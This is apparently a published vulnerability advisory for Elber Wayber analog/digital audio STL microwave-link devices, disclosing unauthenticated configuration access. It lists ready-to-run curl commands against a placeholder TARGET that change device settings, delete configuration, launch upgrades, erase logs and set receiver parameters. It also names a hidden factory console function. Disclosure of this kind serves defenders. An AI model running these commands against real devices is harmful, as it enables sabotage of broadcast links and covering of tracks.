Elber Wayber Analog/Digital Audio STL 4.00 Device Config

Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)

Summary: Wayber II is the name of an analogue/digital microwave link
able to transport a Mono or a MPX stereo signal from studio to audio
transmitter. Compact and reliable, it features very high quality and
modern technology both in signal processing and microwave section leading
to outstanding performances.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
embOS/IP

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2024-5823
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5823.php

18.08.2023

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Config fan

$ curl ‘http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp=’
Configuration applied

Delete config

$ curl ‘http://TARGET/json_data/conf_cmd?index=4&cmd=2’
File delete successfully

Launch upgrade

$ curl ‘http://TARGET/json_data/conf_cmd?index=4&cmd=1’
Upgrade launched Successfully

Log erase

$ curl ‘http://TARGET/json_data/erase_log.js?until=-2’
Logs erased

Until:

=0 ALL

=-2 Yesterday

=-8 Last week

=-15 Last two weeks

=-22 Last three weeks

=-31 Last month

Set RX config

$ curl ‘http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0’
RX Config Applied Successfully

Show factory window and FPGA upload (Console)

cleber_show_factory_wnd()

Etc.